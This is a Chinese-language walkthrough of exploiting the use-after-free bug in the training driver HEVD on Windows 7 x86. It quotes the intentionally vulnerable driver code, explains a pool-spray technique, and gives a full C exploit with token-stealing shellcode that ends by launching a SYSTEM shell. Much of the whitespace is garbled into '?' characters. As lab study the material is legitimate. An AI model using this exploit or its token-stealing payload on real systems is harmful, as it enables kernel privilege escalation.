漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]

作者:selph
前言
窺探Ring0漏洞世界:釋放后重用漏洞
這也是個(gè)很有趣的漏洞類(lèi)型,對(duì)象釋放后沒(méi)有清除對(duì)象指針,以至于可能在相同的位置出現(xiàn)假的對(duì)象,而讓程序認(rèn)為對(duì)象沒(méi)有被釋放是可用的狀態(tài),從而執(zhí)行了假的對(duì)象行為。
實(shí)驗(yàn)環(huán)境:
?虛擬機(jī):Windows 7 x86
?物理機(jī):Windows 10 x64
?軟件:IDA,Windbg,VS2022
漏洞分析
本例漏洞需要多個(gè)函數(shù)調(diào)用里,直接上源碼來(lái)看吧
AllocateUaFObjectNonPagedPool:
///
/// Allocate the UaF object in NonPagedPool
///
///?NTSTATUS
NTSTATUS
AllocateUaFObjectNonPagedPool(
VOID
)
{
??? NTSTATUS Status = STATUS_UNSUCCESSFUL;
??? PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
??? PAGED_CODE();
??? __try
??? {
??????? DbgPrint("[+] Allocating UaF Object\n");
??????? //
??????? // Allocate Pool chunk
??????? //
??????? UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
????? ??????NonPagedPool,
???????????sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
??????????? (ULONG)POOL_TAG
??????? );
??????? if (!UseAfterFree)
??????? {
??????????? //
??????????? // Unable to allocate Pool chunk
??????????? //
??????????? DbgPrint("[-] Unable to allocate Pool chunk\n");
??????????? Status = STATUS_NO_MEMORY;
??????????? return Status;
??????? }
??????? else
??????? {
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
??????????? DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
??????? }
??????? //
??????? // Fill the buffer with ASCII 'A'
??????? //
???????RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
??????? //
??????? // Null terminate the char buffer
??????? //
???????UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
??????? //
??????? // Set the object Callback function
??????? //
??????? UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;
??????? //
??????? // Assign the address of UseAfterFree to a global variable
??????? //
??????? g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
??????? DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
??????? DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
??????? DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
??? {
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }
??? return Status;
}
申請(qǐng)一個(gè)非分頁(yè)池空間,Buffer里填充A,以0結(jié)尾,Callback里填充一個(gè)固定的回調(diào)函數(shù),使用全局指針變量指向該空間
使用的結(jié)構(gòu):
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
??? CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
UseUaFObjectNonPagedPool:
///
/// Use the UaF object NonPagedPool
///
///?NTSTATUS
NTSTATUS
UseUaFObjectNonPagedPool(
VOID
)
{
??? NTSTATUS Status = STATUS_UNSUCCESSFUL;
??? PAGED_CODE();
??? __try
??? {
??????? if (g_UseAfterFreeObjectNonPagedPool)
??????? {
??????????? DbgPrint("[+] Using UaF Object\n");
??????????? DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
??????????? DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
??????????? DbgPrint("[+] Calling Callback\n");
??????????? if (g_UseAfterFreeObjectNonPagedPool->Callback)
??????????? {
???????????????g_UseAfterFreeObjectNonPagedPool->Callback();
??????????? }
??????????? Status = STATUS_SUCCESS;
??????? }
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
??? {
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }
??? return Status;
}
判斷全局指針,指向的內(nèi)容是否存在回調(diào),存在就調(diào)用
FreeUaFObjectNonPagedPool:
///
/// Free the UaF object NonPagedPool
///
///?NTSTATUS
NTSTATUS
FreeUaFObjectNonPagedPool(
VOID
)
{
??? NTSTATUS Status = STATUS_UNSUCCESSFUL;
??? PAGED_CODE();
??? __try
??? {
??????? if (g_UseAfterFreeObjectNonPagedPool)
??????? {
??????????? DbgPrint("[+] Freeing UaF Object\n");
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
#ifdef SECURE
??????????? //
??????????? // Secure Note: This is secure because the developer is setting
??????????? // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
??????????? //
???????????ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
??????????? //
??????????? // Set to NULL to avoid dangling pointer
??????????? //
??????????? g_UseAfterFreeObjectNonPagedPool = NULL;
#else
??????????? //
??????? ????// Vulnerability Note: This is a vanilla Use After Free vulnerability
??????????? // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
??????????? // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
??????????? // (dangling pointer)
??????????? //
???????????ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif
??????????? Status = STATUS_SUCCESS;
??????? }
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
?? ?{
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }
??? return Status;
}
釋放保存到全局指針的這個(gè)空間,這里暴露出UAF漏洞的問(wèn)題所在:釋放完之后指針沒(méi)有置空,還指向那個(gè)釋放的空間,如果能在這里構(gòu)造一個(gè)假的結(jié)構(gòu)在這里,就可以執(zhí)行任意代碼了
AllocateFakeObjectNonPagedPool:
///
/// Allocate the Fake object NonPagedPool
///
///The pointer to FAKE_OBJECT_NON_PAGED_POOL structure
///?NTSTATUS
NTSTATUS
AllocateFakeObjectNonPagedPool(
_In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
)
{
??? NTSTATUS Status = STATUS_SUCCESS;
??? PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
??? PAGED_CODE();
??? __try
??? {
??????? DbgPrint("[+] Creating Fake Object\n");
??????? //
??????? // Allocate Pool chunk
??????? //
??????? KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
??????????? NonPagedPool,
??????????? sizeof(FAKE_OBJECT_NON_PAGED_POOL),
??????????? (ULONG)POOL_TAG
??????? );
??????? if (!KernelFakeObject)
??????? {
??????????? //
?????? ?????// Unable to allocate Pool chunk
??????????? //
??????????? DbgPrint("[-] Unable to allocate Pool chunk\n");
??????????? Status = STATUS_NO_MEMORY;
??????????? return Status;
??????? }
??????? else
??????? {
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
??????????? DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
??????? }
???????//
??????? // Verify if the buffer resides in user mode
??????? //
??????? ProbeForRead(
??????????? (PVOID)UserFakeObject,
??????????? sizeof(FAKE_OBJECT_NON_PAGED_POOL),
??????????? (ULONG)__alignof(UCHAR)
??????? );
??????? //
??????? // Copy the Fake structure to Pool chunk
??????? //
??????? RtlCopyMemory(
??????????? (PVOID)KernelFakeObject,
??????????? (PVOID)UserFakeObject,
??????????? sizeof(FAKE_OBJECT_NON_PAGED_POOL)
??????? );
??????? //
??????? // Null terminate the char buffer
???? ???//
???????KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
??????? DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
??? {
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }
??? return Status;
}
HEVD為我們提供了申請(qǐng)假對(duì)象的調(diào)用,申請(qǐng)空間,將假對(duì)象從用戶(hù)層填入
漏洞利用
這四個(gè)函數(shù)分別由4個(gè)控制碼進(jìn)行控制:
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NXIOCTL(0x814) // 0x222053
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX????????????? IOCTL(0x815) // 0x222057
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX???????????? IOCTL(0x816) // 0x22205B
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX??????? IOCTL(0x817) // 0x22205F
這個(gè)漏洞源于釋放空間后,指針沒(méi)有指向NULL,以至于在后續(xù)判斷指針值的時(shí)候,可以偽造假對(duì)象出現(xiàn)在相同位置,從而成功通過(guò)對(duì)該指針的值判斷,轉(zhuǎn)而執(zhí)行shellcode
這里的一個(gè)核心就是,讓假的對(duì)象出現(xiàn)在真的對(duì)象釋放后的內(nèi)存里,可以像之前做池溢出那樣,大量申請(qǐng)相同大小的池空間把相同大小的空閑塊用光,然后申請(qǐng)真對(duì)象釋放,此時(shí)再申請(qǐng)假對(duì)象的時(shí)候,大小合適的只有剛剛釋放的那個(gè)塊
梳理一下要做的事情:
?控制非分頁(yè)池內(nèi)存,確保內(nèi)核對(duì)象保存到指定的位置
?申請(qǐng)UAF對(duì)象
?釋放UAF對(duì)象
?申請(qǐng)假UAF對(duì)象,假的對(duì)象應(yīng)該出現(xiàn)在真的對(duì)象的相同地址
?執(zhí)行UAF回調(diào),執(zhí)行shellcode
根據(jù)參考資料[1]博文中的介紹,這里可以使用IoCompletionReserve對(duì)象來(lái)操控內(nèi)存,因?yàn)樗?x60大小來(lái)填充我們的非分頁(yè)池,更接近我們的UAF對(duì)象的大小。這些對(duì)象可以使用NtAllocateReserveObject函數(shù)來(lái)噴射。
內(nèi)存塊被釋放了以后,會(huì)被裝入Lookaside List里或者Free List里,當(dāng)內(nèi)存塊變成空閑塊被插入的時(shí)候,不管插入哪個(gè)List,內(nèi)存塊的首4字節(jié)都會(huì)被覆蓋成一個(gè)鏈表指針
當(dāng)真正對(duì)象被釋放之后,指向該地址的指針會(huì)指向鏈表結(jié)點(diǎn),通過(guò)申請(qǐng)相同大小的內(nèi)存讓這塊內(nèi)存再次被分配出去,從而使得該地址的首4字節(jié)被控制為shellcode
編寫(xiě)exp:
根據(jù)講內(nèi)核池的那篇論文(參考資料[4]),對(duì)于lookaside和ListHeads的釋放總是放在適當(dāng)?shù)腖ist前面,為了更頻繁的使用CPU緩存,分配總是從適當(dāng)?shù)腖ist前面最近使用的塊進(jìn)行分配;所以理論上,只要能保證進(jìn)行利用的這幾次申請(qǐng)(申請(qǐng)1個(gè)對(duì)象內(nèi)存然后釋放,緊接著申請(qǐng)真對(duì)象,釋放真對(duì)象,申請(qǐng)假對(duì)象)中間沒(méi)有其他相同大小的內(nèi)存申請(qǐng)釋放出現(xiàn),那么布置內(nèi)存只需要申請(qǐng)1個(gè)內(nèi)存的申請(qǐng)釋放即可完成。
#include
#include
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET0x124? // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET??? 0x050? // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET???????? 0x0B4? // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET?????? 0x0B8? // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET?????? 0x0F8? // nt!_EPROCESS.Token
#define SYSTEM_PID???????? 0x004? // SYSTEM Process PID
typedef struct _LSA_UNICODE_STRING {
??? USHORT Length;
??? USHORT MaximumLength;
??? PWSTR?Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
??? ULONG?????????? Length;
??? HANDLE????????? RootDirectory;
??? PUNICODE_STRING ObjectName;
??? ULONG?????????? Attributes;
??? PVOID?????????? SecurityDescriptor;
??? PVOID?????????? SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef NTSTATUS(WINAPI* NtAllocateReserveObject_t)(OUT PHANDLE?????????? hObject,
??? IN POBJECT_ATTRIBUTES ObjectAttributes,
??? IN DWORD????????????? ObjectType);
typedef struct _FAKE_OBJECT {
??? CHAR buffer[0x58];
} FAKE_OBJECT, * PFAKE_OBJECT;
VOID TokenStealingPayloadWin7() {
??? // Importance of Kernel Recovery
??? __asm {
??????? pushad
??????? ;?獲取當(dāng)前進(jìn)程EPROCESS
??????? xor eax, eax
??????? mov eax, fs: [eax + KTHREAD_OFFSET]
??????? mov eax, [eax + EPROCESS_OFFSET]
??????? mov ecx, eax
??????? ;?搜索system進(jìn)程EPROCESS
??????? mov edx, SYSTEM_PID
??????? SearchSystemPID :
??????? mov eax, [eax + FLINK_OFFSET]
?????? ?????sub eax, FLINK_OFFSET
??????????? cmp[eax + PID_OFFSET], edx
??????????? jne SearchSystemPID
??????????? ; token竊取
??????????? mov edx, [eax + TOKEN_OFFSET]
??????????? mov[ecx + TOKEN_OFFSET], edx
??????????? ;?環(huán)境還原+?返回
??????????? popad
???????? ???mov eax, 1
??? }
}
int main()
{
??? ULONG UserBufferSize = sizeof(FAKE_OBJECT);
??? PVOID EopPayload = &TokenStealingPayloadWin7;
??? HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
??? PFAKE_OBJECT UserBuffer = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
??? //?制作假對(duì)象
??? RtlFillMemory(UserBuffer, UserBufferSize, 'A');
??? UserBuffer->buffer[UserBufferSize - 1] = '\0';
??? *(PULONG)UserBuffer = (ULONG)EopPayload;
??? NtAllocateReserveObject_t NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateReserveObject");
??? //?池噴射,消耗其他同等大小的空閑塊
??? HANDLE spray_event1[10000] = { 0 };
??? for (size_t i = 0; i < 10000; i++)
??? {
???????NtAllocateReserveObject(&spray_event1[i], FALSE, 1);??? // IO_COMPLETION_OBJECT 1
??? }
??? //?布置空洞
??? HANDLE holeObj = NULL;
??? NtAllocateReserveObject(&holeObj, FALSE, 1);
??? CloseHandle(holeObj);
??? //?申請(qǐng)真對(duì)象
??? ULONG WriteRet = 0;
??? DeviceIoControl(hDevice, 0x222053, NULL, 0, NULL, 0, &WriteRet, NULL);
??? //?釋放真對(duì)象
??? DeviceIoControl(hDevice, 0x22205B, NULL, 0, NULL, 0, &WriteRet, NULL);
??? //?申請(qǐng)假對(duì)象
??? DeviceIoControl(hDevice, 0x22205F, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
??? //?使用對(duì)象
??? DeviceIoControl(hDevice, 0x222057, NULL, 0, NULL, 0, &WriteRet, NULL);
??? HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
??? UserBuffer = NULL;
??? //?釋放申請(qǐng)的對(duì)象
??? for (size_t i = 0; i < 10000; i++)
??? {
??????? CloseHandle(spray_event1[i]);
??? }
??? system("pause");
??? system("cmd.exe");
??? return 0;
}
截圖演示

參考資料
?[1] Windows Kernel Exploitation Tutorial Part 8: Use After Free - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/04/kernel-use-after-free/
?[2] UAF (Use After Free)漏洞分析及利用_4ct10n的博客-CSDN博客_uaf https://blog.csdn.net/qq_31481187/article/details/73612451
?[3]??https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
?[4] kernelpool-exploitation.pdf (packetstormsecurity.net) https://dl.packetstormsecurity.net/papers/general/kernelpool-exploitation.pdf